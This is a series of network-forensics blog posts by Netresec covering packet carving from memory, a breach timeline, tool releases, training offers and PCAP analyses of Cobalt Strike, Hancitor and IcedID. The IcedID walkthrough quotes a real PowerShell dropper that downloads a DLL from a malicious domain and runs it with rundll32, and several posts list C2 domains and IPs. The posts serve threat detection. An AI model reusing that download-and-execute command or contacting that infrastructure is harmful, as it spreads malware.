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Carving Packets from Memory

The packets are in the router

Someone who says "We're gonna pull the packet captures out of the router" probably has no clue how to capture network traffic. In the Lindell case, statements like these were results of an elaborate hoax.

Nevertheless, such a statement doesn't have to be nonsense — if it comes from someone who knows how to dump the physical memory from the router. There are actually more packets available in the RAM of a router, or computer for that matter, than you might think.

The Forensic Challenge from DFRWS 2016 contains a memory dump from an SDN switch. If you drag-and-drop SDN.ram.raw from that challenge to CapLoader then you'll be asked if you wanna carve packets from the memory dump.

CapLoader error message - Invalid capture file

This packet carving feature is also available in the free trial version of CapLoader.

Clicking "Yes" in the dialogue brings up a configuration window. The default settings are okay in most cases.

CapLoader's Carve Packets Window

After pressing "Start" CapLoader will start identifying packets in the memory dump from the SDN switch. The packets will be saved to a Pcap-NG file located in the %TEMP% directory, unless you specified a different output location in the config window.

You can download a copy of the Pcap-NG file that I generated with CapLoader 1.9.2 here: https://www.netresec.com/files/SDN.ram.raw.pcapng (661 kB, 2959 packets)

Here's what it looks like when the carved packets have been loaded into NetworkMiner Professional.

NetworkMiner Professional with SDN.ram.raw.pcapng loaded

As you can see, a great deal of information can be extracted about the hosts on this network just by examining the dumped memory from the SDN switch.

What about Bulk Extractor?

Simson Garfinkel's bulk_extractor can also extract packets from memory dumps. It was actually a research paper by Simson that inspired me to implement a packet carver in the first place.

There are a few significant differences between bulk_extractor and CapLoader with regards to packet carving though. One difference is that bulk_extractor identifies network packets by looking for Ethernet frames containing IPv4 packets, while CapLoader looks for IPv4 or IPv6 packets containing TCP or UDP packets. The output from bulk_extractor is usually quite similar to that of CapLoader, and so is the parsing speed. CapLoader was just slightly faster in our tests and carved about 3% more packets compared to bulk_extractor, these additional packets were primarily IPv6 packets and packets that weren't encapsulated by an Ethernet frame.

Where can I download memory dumps?

I posted a question on Twitter, asking the #DFIR community for their favorite publicly available memory dumps prior to writing this blog post, and I received lots of great answers. Thank you all for contributing! I have now compiled the following list of places from where you can download memory dumps:

For a more detailed blog post on CapLoader's packet carving functionality, please see our Carving Network Packets from Memory Dump Files blog post from 2014.

Posted by Erik Hjelmvik on Tuesday, 31 August 2021 15:10:00 (UTC/GMT)

Tags: #Forensics #RAM #PCAP #Pcap-NG #PcapNG #DFIR #carve #carver #packets #dump #CapLoader #memory forensics #DFRWS

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Walkthrough of DFIR Madness PCAP

I recently came across a fantastic digital forensics dataset at dfirmadness.com, which was created by James Smith. There is a case called The Stolen Szechuan Sauce on this website that includes forensic artifacts like disk images, memory dumps and a PCAP file (well, pcap-ng actually). In this video I demonstrate how I analyzed the capture file case001.pcap from this case.

Follow Along in the Analysis

Please feel free to follow along in the analysis performed in the video. You should be able to use the free trial version of CapLoader and the free open source version of NetworkMiner to perform most of the tasks I did in the video.

Here are some of the BPF and Column Criteria filters that I used in the video, so that you can copy/paste them into CapLoader.

  • net 10.0.0.0/8
  • Umbrella_Domain =
  • not ip6 and not net 224.0.0.0/4
  • host 194.61.24.102 or host 203.78.103.109 or port 3389

ASCII Network Flow Chart

References and Links

Timeline

All events in this timeline take place on September 19, 2020. Timestamps are in UTC.

  • 02:19:26 194.61.24.102 performs RDP brute force password attack against DC01.
  • 02:21:47 RDP password brute force successful.
  • 02:22:08 194.61.24.102 connects to DC01's RDP service as Administrator. Duration: 9 sec.
  • 02:22:36 194.61.24.102 connects to DC01's RDP service as Administrator again. Duration: 30 min.
  • 02:24:06 DC01 downloads coreupdater.exe from 194.61.24.102 using IE11.
  • 02:25:18 DC01 establishes Metrepreter reverse_tcp connection to 203.78.103.109. Duration: 4 min.
  • 02:29:49 DC01 re-establishes Metrepreter reverse_tcp connection to 203.78.103.109. Duration: 23 min.
  • 02:35:55 DC01 connects to DESKTOP's RDP service Administrator (username in Kerberos traffic). Duration 16 min.
  • 02:39:58 DESKTOP download coreupdater.exe from 194.61.24.102 using MS Edge.
  • 02:40:49 DESKTOP establishes Metrepreter reverse_tcp connection to 203.78.103.109. Duration: 2h 58 min.
  • 02:56:03 194.61.24.102 connects to DC01's RDP service as Administrator one last time. Duration: 1 min 38 sec.
  • 02:56:38 DC01 re-establishes Metrepreter reverse_tcp connection to 203.78.103.109. Duration: 2h 42 min.

IOC's

  • IP : 194.61.24.102 (Attacker)
  • IP : 203.78.103.109 (C2 server)
  • MD5 : eed41b4500e473f97c50c7385ef5e374 (coreupdater.exe)
  • JA3 Hash : 84fef6113e562e7cc7e3f8b1f62c469b (RDP scan/brute force)
  • JA3 Hash : 6dc99de941a8f76cad308d9089e793d7 (RDP scan/brute force)
  • JA3 Hash : e26ff759048e07b164d8faf6c2a19f53 (RDP scan/brute force)
  • JA3 Hash : 3bdfb64d53404bacd8a47056c6a756be (RDP scan/brute force)

Wanna learn more network forensic analysis techniques? Then check out our upcoming network forensics classes in September and October.

Posted by Erik Hjelmvik on Friday, 09 July 2021 13:20:00 (UTC/GMT)

Tags: #PCAP #NetworkMiner #CapLoader #video #videotutorial

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NetworkMiner 2.7 Released

NetworkMiner 2.7 Logo

We are happy to announce the release of NetworkMiner 2.7 today! The new version extracts documents from print traffic and pulls out even more files and parameters from HTTP as well as SMB2 traffic. We have also updated our JA3 implementation to fingerprint the server side in TLS sessions using JA3S hashes and added a few tweaks to the user interface to better identify the extension of extracted files.

Extraction of Printed Data

NetworkMiner 2.7 can extract documents from LPR/LPD print traffic on TCP 515 (RFC1179). The extracted print data is saved to disk as .prn files, which can be analyzed with tools like PCL Paraphernalia. The professional version of NetworkMiner also comes with a carver that attempts to extract PostScript and PDF files from print traffic.

Improved File Extraction from PCAP

One of the premier features of NetworkMiner is its ability to extract transferred files from network traffic. We have fine tuned NetworkMiner’s file extraction code for SMB2 as well as HTTP POST in this release, in order to retrieve as much information as possible from these protocols. We’ve also added more granular logging of SMB2 requests and responses to the Parameters tab.

More DNS Types Supported

NetworkMiner 2.7 now parses DNS TXT and SRV resource records, which are displayed in NetworkMiner’s DNS tab. The TXT records can be used for almost anything, but the SRV records are used to map service types to the hostnames that provide that service. SRV lookups are often used in order to locate the domain controller on a network by querying for “_ldap._tcp.dc._msdcs.<DOMAIN>”.

DNS SRV and TXT records in NetworkMiner

DNS SRV of lookups are performed by malware and attackers as well as for legitimate reasons, even though attackers sometimes make mistakes that can be used for detection or threat hunting.

TLS Server Fingerprinting with JA3S

We introduced TLS client fingerprinting using JA3 hashes in NetworkMiner 2.5. We have now also added support for JA3S hashes, which is a method for fingerprinting the server side of a TLS connection. The JA3S hashes are extracted from the “Server Hello” TLS packets and shown on NetworkMiner’s Parameters tab as well as in the Host Details of the server. We have also improved how NetworkMiner displays the JA3 hashes in the Host Details view.

JA3S hashes in NetworkMiner

Additional User Interface Improvements

Double clicking on an extracted file in NetworkMiner's Files tab now brings up the File Details window. We’ve extended this window to also include a simple hex viewer and a feature that attempts to identify the file type based on the reassembled file’s header.

NetworkMiner's File Details window with hex viewer

The file type identification feature is also used in order to provide more accurate file extensions to extracted files, such as “.exe” or “.zip”, instead of the “.octet-stream” that you’d often see in previous versions of NetworkMiner. We have added a warning dialogue to NetworkMiner 2.7 that shows up if a user tries to run an executable file directly from the NetworkMiner GUI.

Warning dialogue in NetworkMiner when opening executable file

NetworkMiner Professional

Our commercial tool NetworkMiner Professional has received a few additional updates. It can, for example, carve PDF and PostScript files from extracted LPR print data. We have also added several OSINT services, such as ANY.RUN, MalwareBazaar, URLHaus and ThreatFox, for performing lookups of file hashes. The OSINT context menu is opened by right-clicking an extracted file in NetworkMiner Professional.

GPS data stored in pcap-ng option fields, typically by Kismet, is now extracted as capture file metadata. Right-click a capture file and select "Show Metadata" to show the coordinates from Kismet. We have also re-implemented the support for a PCAP-over-IP listener in NetworkMinerCLI, which is the command line version of NetworkMiner Pro. This feature allows the command line tool to receive PCAP data over a TCP socket instead of reading from a capture file. The PCAP-over-IP listener feature was previously broken in NetworkMinerCLI.

Credits

We’d like to thank Hayo Brouwer (of Ricoh) for requesting the LPR extraction feature and providing capture files for testing, Jeff Rivett for reporting a 64 bit issue with WinPcap/Npcap and Ali Mohd for reporting the broken PCAP-over-IP listener feature.

Upgrading to Version 2.7

Users who have purchased NetworkMiner Professional can download a free update to version 2.7 from our customer portal, or use the “Help > Check for Updates” feature. Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.

Posted by Erik Hjelmvik on Tuesday, 15 June 2021 11:55:00 (UTC/GMT)

Tags: #NetworkMiner #PCAP #SMB2 #JA3 #OSINT

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Network Forensics Classes for EU and US

We have now scheduled two new live online classes, one in September and one in October. The September class is adapted to European time and the October one is adapted to American time. The contents are exactly the same in both classes.

PCAP in the mornining

The training is split into four interactive morning sessions (4 hours each), so that you have the afternoon free to either practice what you learned in class or do your “normal” day job. The number of attendees will be limited in order to enable attendees to ask questions or even cover short ad-hoc side tracks. We plan to accept something like 10 to 15 attendees per class. The class registration will be closed once we reach this attendee limit.

  • 🇪🇺 September 20-23, 2021. Live Online Training "PCAP in the Morning EU"
    ⏲️ Time: 8:30 AM to 12:30 PM CET (Central European Time)
    💸 Price: € 820 EUR per student (€ 738 EUR if registering before August 20)
  • 🇺🇸 October 25-28, 2021. Live Online Training "PCAP in the Morning US"
    ⏲️ Time: 9:00 AM to 1:00 PM EDT (US Eastern Daylight Time)
    💸 Price: $1,000 USD per student ($900 USD if registering before September 25)

We will be analyzing a unique 30GB PCAP data set captured during June 2020 on an Internet connected network with multiple clients, an AD server, a web server, an android tablet and some embedded devices. As you’ve probably guessed, the capture files contain traffic from multiple intrusions by various attackers, including APT style attackers and botnet operators. The initial attack vectors are using techniques like exploitation of web vulnerabilities, spear phishing, a supply chain attack and a man-on-the-side attack!

See our training page for more info about the “PCAP in the Morning” classes.

To sign up for a class, simply send an email to sales@netresec.com with the class dates, your name and invoice address. We will then send you a PayPal payment link that you can use to complete your training registration.

Hope to see you there!

Erik H

Cheers,
Erik Hjelmvik
Creator of NetworkMiner and founder of Netresec

Posted by Erik Hjelmvik on Monday, 07 June 2021 09:55:00 (UTC/GMT)

Tags: #Netresec #PCAP #Training #Network Forensics #Class

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Detecting Cobalt Strike and Hancitor traffic in PCAP

This video shows how Cobalt Strike and Hancitor C2 traffic can be detected using CapLoader.

I bet you’re going:

😱 OMG he’s analyzing Windows malware on a Windows PC!!!

Relax, I know what I’m doing. I have also taken the precaution of analyzing the PCAP file in a Windows Sandbox, which just takes a couple of seconds to deploy and run.

The capture file I’m looking at is called “2021-05-13-Hancitor-traffic-with-Ficker-Stealer-and-Cobalt-Strike.pcap” and can be downloaded from here: https://malware-traffic-analysis.net/2021/05/13/index.html

CapLoader’s Services tab shows us that the connections to TCP 80 and 443 on 103.207.42.11 are very periodic, with a detected period of exactly 1 minute. CapLoader successfully identifies the protocols for these two services as Cobalt Strike over HTTP and Cobalt Strike over SSL, respectively. The third service in this list is also very periodic, that’s the Hancitor trojan beaconing to its C2 server every two minutes.

Services tab in CapLoader

CapLoader uses machine learning to identify the application layer protocol based on the behavior of the traffic, not the port number. This means that there can be false positives, i.e. the protocol classification that CapLoader gives a flow or service might be wrong. It is more common, however, for CapLoader to yield false negatives, which means that it can't identify the protocol. The detection of Cobalt Strike inside of HTTP and SSL traffic was recently introduced in the latest 1.9 release of CapLoader. I expected this feature to detect Cobalt Strike traffic in HTTP, but I was delighted to see that CapLoader often detects even TLS encrypted Cobalt Strike beaconing with really good precision!

As shown in the video, the Cobalt Strike beacon config can easily be extracted from the network traffic using NetworkMiner and Didier Stevens’ 1768 K python script.

The output from Didier’s 7868.py tool looks something like this:

0x0001 payload type 0 windows-beacon_http-reverse_http
0x0002 port 80
0x0003 sleeptime 60000
0x0004 maxgetsize 1048576
0x0005 jitter 0
0x0007 publickey 30819f30[...]
0x0008 server,get-uri '103.207.42.11,/ca'
[...]

As you can see, it uses HTTP for transport with a “sleeptime” of 1 minute (60000 ms) and 0% jitter. This means that a new connection will be made to the Cobalt Strike C2 server every minute. The fact that there was no jitter is what gives this service such a high value in CapLoader’s “Periodicity” column.

Network Forensics Training

Are you interested in learning more about how to analyze network traffic from Cobalt Strike and other backdoors, malware and hacker tools? Then take a look at the live online network forensics classes I will be teaching in September and October!

Posted by Erik Hjelmvik on Monday, 31 May 2021 08:30:00 (UTC/GMT)

Tags: #Netresec #Cobalt Strike #CobaltStrike #periodicity #Protocol Identification #PIPI #CapLoader #1768.py #Windows Sandbox #PCAP #NSM #video #videotutorial

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CapLoader 1.9 Released

CapLoader 1.9 Logo

A new version of the PCAP filtering tool CapLoader has been released today. The new CapLoader version 1.9 is now even better at identifying protocols and periodic beacons than before. The user interface has also been improved to make it easier to filter and drill down in network traffic to extract interesting, malicious or unusual traffic.

More Protocols Identified

We’ve added port-independent protocol detection for over 20 new protocols since the last release. The newly added protocols include some that are used by malicious tools and backdoors such as hTran, RevengeRAT, Tofsee and Winsecsrv, as well as legitimate protocols like WireGuard (VPN) and RemoteFX (UDP based remote desktop). We’ve also improved our support for ICS traffic analysis by adding protocol identification of SCADA protocols DNP3 and IEC 60870-5-104.

CapLoader also detects what we call “sub-protocols”, which are communication protocols that use other L7 protocols as transport. We have extended the sub-protocol detection in CapLoader 1.9 to include traffic like Anchor_DNS and dnscat traffic, which both run on top of DNS. We have also added detection of Cobalt Strike beacons over HTTP and HTTPS, even though the latter is quite difficult to detect due to the application data being encrypted.

Improved Usability

CapLoader 1.9 comes with several user interface improvements that help you solve the “needle in the haystack” problem even more efficiently than before.

The context menus in the Flows, Services and Hosts tabs can now be used to select rows based on values in any column, such as “Select all flows where Duration > 10 minutes” (when right-clicking a 10 minute flow).

The “Keyword Filter” is now called “Row Filter” in order to avoid getting it mixed up with the “Find Keyword” feature. The Row Filter has also been enhanced with a new filtering mode, to complement the Contains / All Words / Any Words / RegEx options, which is called “Column Criteria”. The Column Criteria can be used to filter the displayed rows based on the values in a user-specified column. The Column Criteria “Duration > 00:10:00” will, for example, only show flows that are 10 minutes or longer, while “ASN = 3301” shows the flows going to Telia’s AS3301.

CapLoader 1.9 with Column Criteria Row Filter Duration > 00:10:00

Image: CapLoader with Row Filter Column Criteria "Duration > 00:10:00"

We have also extended CapLoader's BPF implementation to support VLAN id’s, so that you can use expressions like “vlan 100” as input filter as well as display filter. The BPF implementation also supports logic operators, so that more advanced filters like “(tcp port 80 or port 443) and not net 149.154.172.0/22” can be used.

CapLoader has a method for detecting periodic connection patterns, which was introduced in CapLoader 1.4. This feature can be used to detect clients that connect to a service at regular intervals, such as a beacon used for command-and-control or email client connecting to a mail server. We have improved the periodicity detection in CapLoader 1.9 so that it now detects periodic services more accurately.

The Initial Round Trip Time (iRRT) in the Flows and Services tabs is now measured in milliseconds instead of seconds in order to avoid “bulky numbers” (h/t Eddi).

There was previously a significant delay when selecting many flows at once (like 100.000). We’ve improved the performance of this feature in CapLoader 1.9, so that you can now select several hundred thousands flows at once without having to wait for an unresponsive GUI to update.

More OSINT Lookup Services

A feature in CapLoader that often comes in handy is the ability to right-click a flow, service or host and open a website with OSINT information about the clicked IP address or domain name. We have now replaced some of the OSINT services with new better ones.

The new services we’ve added to CapLoader 1.9 for performing online OSINT lookups of IP addresses, network services and domain names are:

Bug fixes and Credits

Several bugs have been fixed in this new release of CapLoader, much thanks to feedback we’ve received from our users. We’d like to thank Anders Regert and Mandy van Oosterhout for reporting bugs in CapLoaders “Save As” feature. We’d also like to thank Hyun Dowon for reporting a snap length corruption bug that previously appeared when exporting flows from Pcap-NG files We have also fixed an issue where capture files were previously not always merged in chronological order when being aggregated.

Updating to the Latest Release

Users who have purchased a license for CapLoader can download a free update to version 1.9 from our customer portal. All others can download a free 30 day trial from the CapLoader product page (no registration required).

Posted by Erik Hjelmvik on Tuesday, 25 May 2021 12:20:00 (UTC/GMT)

Tags: #Netresec #CapLoader #PCAP #Pcap-NG #IEC-104 #CobaltStrike #BPF #periodicity #OSINT

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Running NetworkMiner in Windows Sandbox

NetworkMiner can be run in a highly efficient Windows Sandbox in order to analyze malicious PCAP files in Windows without accidentally infecting your Windows PC. This blog post shows how to set up a Windows Sandbox that always boots up a fresh install of Windows 10 with the latest version of NetworkMiner installed.

I generally recommend analyzing Windows malware in Linux, or some other non-Windows environment, in order to avoid accidentally infecting yourself (NetworkMiner runs fine in Linux btw). Nevertheless, I still often find myself loading capture files containing malicious network traffic into CapLoader and NetworkMiner under Windows. I have previously demonstrated that this can be a quick and crude way to perform an anti virus scan of files contained in a pcap file.

Windows Sandbox

If you want to analyze malicious traffic in Windows with minimal risk of infecting yourself then you should definitely check out Microsoft’s Windows Sandbox (available in Windows 10 Pro and Enterprise editions). The Windows Sandbox is using Windows containers, so it’s very efficient compared to spinning up a full Windows VM. It also provides features like kernel isolation, so that the sandbox container doesn’t use the same kernel as the host, and ensures that a new Windows environment is created every time the sandbox is run. Windows Sandbox also doesn't run any anti-virus, so it won't interfere with the extraction of malicious contents from within the analyzed capture files.

Follow these steps to install Windows Sandbox:

  1. Run OptionalFeatures.exe (the “Turn Windows features on or off” window)
  2. Enable the “Windows Sandbox” feature (check the box)
  3. Reboot

Then create a sandbox config, which downloads and installs the latest version of NetworkMiner every time the sandbox is started, by creating a file called “NetworkMinerSandbox.wsb” with the following contents:

<Configuration>
  <MappedFolders>
    <MappedFolder>
      <!-- Replace path below with your PCAP dir -->
      <HostFolder>C:\Users\Erik\pcap</HostFolder>
      <ReadOnly>true</ReadOnly>
    </MappedFolder>
  </MappedFolders>
  <LogonCommand>
    <Command>cmd.exe /C "curl -L https://www.netresec.com/?download=NetworkMiner | tar -C C:\Users\WDAGUtilityAccount\Desktop\ -xf -"</Command>
  </LogonCommand>
</Configuration>

Note: Replace “C:\Users\Erik\pcap” with whatever location your capture files are at

After starting NetworkMinerSandbox.wsb you’ll have a fresh Windows machine up and running within a couple of seconds. The latest version of NetworkMiner and your PCAP dir are both accessible from the sandbox’s desktop.

Windows Sandbox

Image: NetworkMiner 2.6 installed in a clean Windows Sandbox environment

Moving files in or out of the sandbox is just a matter of copy and paste (Ctrl+C / Ctrl+V).

VirtualBox and Windows Sandbox

VirtualBox error message Cannot enable nested VT-x/AMD-V without nested-paging and unrestricted guest execution

Are you using VirtualBox to run virtual machines on your Windows host and getting an error message saying “Cannot enable nested VT-x/AMD-V without nested-paging and unrestricted guest execution” after enabling Windows Sandbox?

Even though Windows Sandbox doesn’t need Hyper-V it still requires a hypervisor, which unfortunately conflicts with VirtualBox. You can disable the hypervisor by running the following command as administrator:

bcdedit.exe /set hypervisorlaunchtype off

...and then rebooting the computer before starting a VirtualBox VM with “nested VT-x” enabled. Turning off the hypervisor will unfortunately prevent Windows Sandbox from running, giving an error message saying “No hypervisor was found. Please enable hypervisor support.”

Windows Sandbox error message No hypervisor was found. Please enable hypervisor support.

To re-enable the hypervisor, in order to run Windows Sandbox again, you’ll need to run

bcdedit.exe /set hypervisorlaunchtype auto

and reboot the host.

Update May 26, 2021

We have now uploaded a simple Windows Sandbox config to our website here:

https://www.netresec.com/?download=NetworkMinerSandbox

This script runs on any Windows Pro machine that has the Sandbox feature active.

Posted by Erik Hjelmvik on Tuesday, 11 May 2021 13:39:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #PCAP #Windows #Sandbox #Windows Sandbox #Malware

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Analysing a malware PCAP with IcedID and Cobalt Strike traffic

IdedID and Cobalt Strike

This network forensics walkthrough is based on two pcap files released by Brad Duncan on malware-traffic-analysis.net. The traffic was generated by executing a malicious JS file called StolenImages_Evidence.js in a sandbox environment.

The capture file starts with a DNS lookup for banusdona.top, which resolved to 172.67.188.12, followed by an HTTP GET request for "/222g100/index.php" on that domain. The following PowerShell oneliner is returned in the HTTP response from banusdona.top:

$path = $Env:temp+'\JwWdx.dat'; $client = New-Object Net.WebClient; $client.downloadfile('http://banusdona.top/222g100/main.php',$path); C:\Windows\System32\rundll32.exe $path,DllRegisterServer

This oneliner instructs the initial dropper to download a Win32 DLL payload from http://banusdona[.]top/222g100/main.php and save it as "JwWdx.dat" in the user's temp directory and then run the DLL with:

rundll32.exe %TEMP%\JwWdx.dat,DllRegisterServer

As you can see in the screenshot below, the HTTP response for this second request to banusdona.top has Content-Type "application/octet-stream", but also a conflicting Content-disposition header of "attachment;filename=data.jpg", which indicates that the file should be saved to disk as "data.jpg". Nevertheless, the "MZ" header in the transferred data reveals that the downloaded data wasn't an image, but a Windows binary (dll or exe).

CapLoader transcript of IcedID malware download Image: CapLoader transcript of IcedID malware download

The downloaded file gets extracted from the pcap file by NetworkMiner as "data.jpg.octet-stream".

Files extracted from PCAP by NetworkMiner Image: Files extracted from PCAP by NetworkMiner

Right-clicking "data.jpg.octet-stream" in NetworkMiner and selecting "Calculate MD5..." brings up a new window with additional file details, such as MD5 and SHA hashes of the reassembled file.

Extracted malware download of Cerbu / IcedID f98711dfeeab9c8b4975b2f9a88d8fea
MD5: f98711dfeeab9c8b4975b2f9a88d8fea SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c

This file is available on VirusTotal, where we can see that it's a DLL that several AV vendors identify as "Cerbu" or "IcedID". VirusTotal's C2AE sandbox analysis of the DLL also reveals the domain name "momenturede.fun" in the process' memory. As you might expect, a connection is made to that domain just a few seconds later. A nice overview of these connections can be seen in CapLoader's Flow tab.

CapLoader showing initial flows from the IcedID malware execution Image: CapLoader showing initial flows from the IcedID malware execution

The momenturede.fun server returns a 500kB file, which NetworkMiner extracts from the pcap file as "index.gzip".

MD5: 96a535122aba4240e2c6370d0c9a09d3 SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8 SHA256: 3d1b525ec2ee887bbc387654f6ff6d88e41540b789ea124ce51fb5565e2b8830

This turns out to be an encrypted IcedID DLL file, which has been analyzed by Ali Aqeel here:
https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/

Right after the IcedID download we see a series of HTTPS connections towards odd domains like vaccnavalcod.website, mazzappa.fun, ameripermanentno.website and odichaly.space, all of which resolved to IP 83.97.20.176. That host is most likely a command-and-control (C2) server used by the IcedID malware.

CapLoader's "Services" tab also reveals that the TLS connections to port 443 on 83.97.20.176 are very periodic, with a new connection every 5 minutes. Periodic connection patterns like this is a typical indicator of C2 traffic, where the malware agent connects back to the C2 server on regular intervals to check for new tasks.

Periodic IcedID C2 communication detected by CapLoader Image: CapLoader's Services tab showing that the IcedID malware agent connects to the C2 server every 5 minutes (00:05:01).

The traffic to 83.97.20.176 is encrypted, so we can't inspect the payload to verify whether or not it is IcedID C2 communications. What we can do, however, is to extract the HTTPS server's X.509 certificate and the JA3 hash of the client's TLS implementation from the encrypted traffic.

NetworkMiner has extracted the X.509 certificates for vaccnavalcod.website, mazzappa.fun, ameripermanentno.website and odichaly.space to disk as "localhost.cer".

X.509 certificate 452e969c51882628dac65e38aff0f8e5ebee6e6b

It turns out that all these sites used the same self-signed certificate, which had SHA1 fingerprint 452e969c51882628dac65e38aff0f8e5ebee6e6b. The X.509 certificate was created using OpenSSL's default values, such as "Internet Widgits Pty Ltd" etc. Further details about this certificate can be found on censys.io.

The JA3 hashes used by the IcedID malware agent can be found in NetworkMiner's Hosts tab as well as in the Parameters tab.

NetworkMiner's Parameters tab with keyoword filter JA3 Hash Image: NetworkMiner's Parameters tab with keyword filter "JA3 Hash"

The JA3 hashes for the client that connects to the C2 server are a0e9f5d64349fb13191bc781f81f42e1 and 3b5074b1b5d032e5620f69f9f700ff0e. Several legitimate Windows applications unfortunately have the same JA3 hashes, so we can't use them to uniquely identify the IcedID agents.

The IcedID C2 traffic continues for over 19 hours, at which point we suddenly see a connection to a new suspicious domain called "lesti.net" on 185.141.26.140. The first HTTP request to that domain is used to download a 261703 byte file, as can be seen in this Flow Transcript from CapLoader:

CapLoder Transcript of CobaltStrike beacon download

NetworkMiner extracts this file as "9r8z.octet-stream". This turns out to be a Cobalt Strike beacon download, which we can decode with Didier Stevens' fantastic 1768.py script.

The output from 1768.py reveals that this Cobalt Strike beacon is using the following URIs for C2 communication:

  • GET URI: http://lesti[.]net/userid=
  • POST URI: http://lesti[.]net/update.php

We can also see that the Cobalt Strike license-id (a.k.a. watermark) is 1580103814. This ID can be used to link this Cobalt Strike beacon to other campaigns. Below is a list of Cobalt Strike C2 servers using license-id 1580103814 discovered by Tek in December 2020:

  • 45.147.229[.]157
  • selfspin[.]com
  • savann[.]org
  • palside[.]com
  • server3.msadwindows[.]com
  • mapizzamates[.]com
  • fixval[.]com
  • rackspare-technology[.]download
  • 108.177.235[.]148
  • matesmapizza[.]com

Update 4 May 2021

Sergiu Sechel published a blog post yesterday, which included a list of Cobalt Strike C2 servers. We fed this list to Tek's scan_list.py script in order to see if license-id 1580103814 is still active. It turned out it was. We found the following 27 domains and IP's running Cobalt Strike C2 servers on TCP 443 using that license-id.

  • 151.236.14[.]53
  • 151.236.14[.]53
  • 172.241.27[.]70
  • 193.29.13[.]201
  • 193.29.13[.]201
  • 193.29.13[.]209
  • 194.165.16[.]60
  • 193.29.13[.]209
  • 193.29.13[.]201
  • 194.165.16[.]60
  • 194.165.16[.]60
  • dain22[.]net
  • drellio[.]com
  • feusa[.]net
  • fut1[.]net
  • helle1[.]net
  • hars2t[.]com
  • kasaa[.]net
  • idxup[.]com
  • maren2[.]com
  • mgfee[.]com
  • massflip[.]com
  • oaelf[.]com
  • repdot[.]com
  • scalewa[.]com
  • tulls[.]net
  • wellser[.]org

The full output from our re-scan of Sergiu's C2 list can be found on pastebin.

Update 8 May 2021

Security researcher Michael Koczwara is tracking Cobalt Strike license 1580103814 as APT actor LuckyMouse (a.k.a. Emissary Panda or APT 27). Michael's Cobalt Stike C2 dataset, which currently contains 25 unique C2 IPs and domains for license-id 1580103814, is available as a Google Docs spreadsheet (see the "LuckyMouse Actor" tab).

Indicators of Compromise - IOCs

  • MD5: 8da75e1f974d1011c91ed3110a4ded38
  • SHA1: e9b5e549363fa9fcb362b606b75d131dec6c020e
  • SHA256: 0314b8cd45b636f38d07032dc8ed463295710460ea7a4e214c1de7b0e817aab6
  • DNS: banusdona.top
  • IP: 172.67.188.12
  • MD5: f98711dfeeab9c8b4975b2f9a88d8fea
  • SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb
  • SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c
  • DNS: momenturede.fun
  • IP: 104.236.115.181
  • MD5: 96a535122aba4240e2c6370d0c9a09d3
  • SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8
  • MD5: 11965662e146d97d3fa3288e119aefb2
  • SHA1: b63d7ad26df026f6cca07eae14bb10a0ddb77f41
  • SHA256: d45b3f9d93171c29a51f9c8011cd61aa44fcb474d59a0b68181bb690dbbf2ef5
  • DNS: vaccnavalcod.website
  • DNS: mazzappa.fun
  • DNS: ameripermanentno.website
  • DNS: odichaly.space
  • IP: 83.97.20.176
  • SHA1: 452e969c51882628dac65e38aff0f8e5ebee6e6b
  • DNS: lesti.net
  • IP: 185.141.26.140
  • MD5: 449c1967d1708d7056053bedb9e45781
  • SHA1: 1ab39f1c8fb3f2af47b877cafda4ee09374d7bd3
  • SHA256: c7da494880130cdb52bd75dae1556a78f2298a8cc9a2e75ece8a57ca290880d3
  • Cobalt Strike Watermark: 1580103814

Network Forensics Training

Are you interested in learning more about how to analyze captured network traffic from malware and hackers? Have a look at our network forensic trainings. Our next class is a live online event called PCAP in the Morning.

Posted by Erik Hjelmvik on Monday, 19 April 2021 09:45:00 (UTC/GMT)

Tags: #Cobalt Strike #CobaltStrike #NetworkMiner #CapLoader #Network Forensics #JA3 #X.509 #1768.py

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Live Online Training - PCAP in the Morning

Would you like to spend four mornings in May analyzing capture files together with me?

I love the smell of PCAP in the Morning

I have now scheduled a live online network forensics training called “PCAP in the Morning” that will run on May 3-6 (Monday to Thursday) between 8:30 AM and 12:30 PM EDT (US Eastern Daylight Time). We will be analyzing a unique 30GB PCAP data set captured during June 2020 on an Internet connected network with multiple clients, an AD server, a web server, an android tablet and some embedded devices. As you’ve probably guessed, the capture files contain traffic from multiple intrusions by various attackers, including APT style attackers and botnet operators. The initial attack vectors are using techniques like exploitation of web vulnerabilities, spear phishing, a supply chain attack and a man-on-the-side attack!

See our training page for more info about the “PCAP in the Morning” training.

To sign up for my “PCAP in the Morning” class, simply send an email to sales@netresec.com with your name and invoice address. We will then send you a PayPal payment link that you can use to complete your training registration. The training costs $950 USD per participant, for which you will also get a six month single user license for NetworkMiner Professional and CapLoader.

Hope to see you there!

Erik H

Cheers,
Erik Hjelmvik
Creator of NetworkMiner and founder of Netresec

Update June 7, 2021

We have now scheduled two new training events adapted for students in different time zones.

  • September 20-23, 2021. Live Online Training "PCAP in the Morning EU" (🇪🇺)
  • October 25-28, 2021. Live Online Training "PCAP in the Morning US" (🇺🇸)

More information about the network forensics classes can be found on our training page.

Posted by Erik Hjelmvik on Friday, 19 March 2021 14:03:00 (UTC/GMT)

Tags: #Netresec #PCAP #Training #Network Forensics

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Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)